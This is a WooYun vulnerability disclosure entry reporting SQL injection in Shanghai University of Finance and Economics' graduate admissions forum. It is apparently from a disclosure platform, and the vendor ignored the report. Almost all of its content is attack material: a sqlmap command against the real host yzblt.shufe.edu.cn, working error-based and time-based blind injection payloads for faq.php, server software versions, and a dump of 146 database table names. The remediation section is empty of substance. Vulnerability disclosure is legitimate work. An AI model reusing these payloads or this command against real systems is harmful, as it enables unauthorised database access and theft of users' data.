当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108353

漏洞标题:上海财经大学研究生招生论坛sql注入

相关厂商:上海财经大学

漏洞作者: 风花雪月

提交时间:2015-04-21 16:47

修复时间:2015-04-26 16:48

公开时间:2015-04-26 16:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-21: 细节已通知厂商并且等待厂商处理中
2015-04-26: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

rank

详细说明:

Database: yjsb
[146 tables]
+----------------------------+
| [Table]access |
| [Table]activities |
| [Table]activityapplies |
| [Table]addons |
| [Table]adminactions |
| [Table]admincustom |
| [Table]admingroups |
| [Table]adminnotes |
| [Table]adminsessions |
| [Table]advertisements |
| [Table]announcements |
| [Table]attachmentfields |
| [Table]attachments |
| [Table]attachpaymentlog |
| [Table]attachtypes |
| [Table]banned |
| [Table]bbcodes |
| [Table]caches |
| [Table]creditslog |
| [Table]crons |
| [Table]debateposts |
| [Table]debates |
| [Table]failedlogins |
| [Table]faqs |
| [Table]favoriteforums |
| [Table]favorites |
| [Table]favoritethreads |
| [Table]feeds |
| [Table]forumfields |
| [Table]forumlinks |
| [Table]forumrecommend |
| [Table]forums |
| [Table]imagetypes |
| [Table]invites |
| [Table]itempool |
| [Table]magiclog |
| [Table]magicmarket |
| [Table]magics |
| [Table]medallog |
| [Table]medals |
| [Table]memberfields |
| [Table]membermagics |
| [Table]memberrecommend |
| [Table]members |
| [Table]memberspaces |
| [Table]moderators |
| [Table]modworks |
| [Table]myposts |
| [Table]mytasks |
| [Table]mythreads |
| [Table]navs |
| [Table]onlinelist |
| [Table]onlinetime |
| [Table]orders |
| [Table]paymentlog |
| [Table]pluginhooks |
| [Table]plugins |
| [Table]pluginvars |
| [Table]pms |
| [Table]polloptions |
| [Table]polls |
| [Table]postposition |
| [Table]posts_bak |
| [Table]posts |
| [Table]profilefields |
| [Table]projects |
| [Table]promotions |
| [Table]prompt |
| [Table]promptmsgs |
| [Table]prompttype |
| [Table]ranks |
| [Table]ratelog |
| [Table]regips |
| [Table]relatedthreads |
| [Table]reportlog |
| [Table]request |
| [Table]rewardlog |
| [Table]rsscaches |
| [Table]searchindex |
| [Table]sessions |
| [Table]settings |
| [Table]smilies |
| [Table]spacecaches |
| [Table]stats |
| [Table]statvars |
| [Table]styles |
| [Table]stylevars |
| [Table]tags |
| [Table]tasks |
| [Table]taskvars |
| [Table]templates |
| [Table]threads |
| [Table]threadsmod |
| [Table]threadtags |
| [Table]threadtypes |
| [Table]tradecomments |
| [Table]tradelog |
| [Table]tradeoptionvars |
| [Table]trades |
| [Table]typemodels |
| [Table]typeoptions |
| [Table]typeoptionvars |
| [Table]typevars |
| [Table]uc_admins |
| [Table]uc_applications |
| [Table]uc_badwords |
| [Table]uc_domains |
| [Table]uc_failedlogins |
| [Table]uc_feeds |
| [Table]uc_friends |
| [Table]uc_mailqueue |
| [Table]uc_memberfields |
| [Table]uc_members |
| [Table]uc_mergemembers |
| [Table]uc_newpm |
| [Table]uc_notelist |
| [Table]uc_pms |
| [Table]uc_protectedmembers |
| [Table]uc_settings |
| [Table]uc_sqlcache |
| [Table]uc_tags |
| [Table]uc_vars |
| [Table]usergroups |
| [Table]validating |
| [Table]warnings |
| [Table]words |
| [Table]xreports |
| uc_admins |
| uc_applications |
| uc_badwords |
| uc_domains |
| uc_failedlogins |
| uc_feeds |
| uc_friends |
| uc_mailqueue |
| uc_memberfields |
| uc_members |
| uc_mergemembers |
| uc_newpm |
| uc_notelist |
| uc_pms |
| uc_protectedmembers |
| uc_settings |
| uc_sqlcache |
| uc_tags |
| uc_vars |
+----------------------------+


漏洞证明:

C:\sql>sqlmap.py -u "http://yzblt.shufe.edu.cn/faq.php?action=grouppermission&gi
ds[99]=%27&gids[100][0]=)*" --dbms=mysql --current-db
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20140204}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:12:25
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] y
[14:12:28] [INFO] testing connection to the target URL
[14:12:28] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: http://yzblt.shufe.edu.cn:80/faq.php?action=grouppermission&gids[99
]='&gids[100][0]=) AND (SELECT 2274 FROM(SELECT COUNT(*),CONCAT(0x716a716271,(SE
LECT (CASE WHEN (2274=2274) THEN 1 ELSE 0 END)),0x7168716b71,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- NhbB
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://yzblt.shufe.edu.cn:80/faq.php?action=grouppermission&gids[99
]='&gids[100][0]=) AND SLEEP(5)-- CgeC
---
[14:12:28] [INFO] testing MySQL
[14:12:28] [INFO] confirming MySQL
[14:12:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL >= 5.0.0
[14:12:28] [INFO] fetching current database
[14:12:28] [INFO] resumed: yjsb
current database: 'yjsb'
[14:12:28] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\yzblt.shufe.edu.cn'
[*] shutting down at 14:12:28

修复方案:

BT

版权声明:转载请注明来源 风花雪月@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-26 16:48

厂商回复:

最新状态:

暂无


漏洞评价:

评论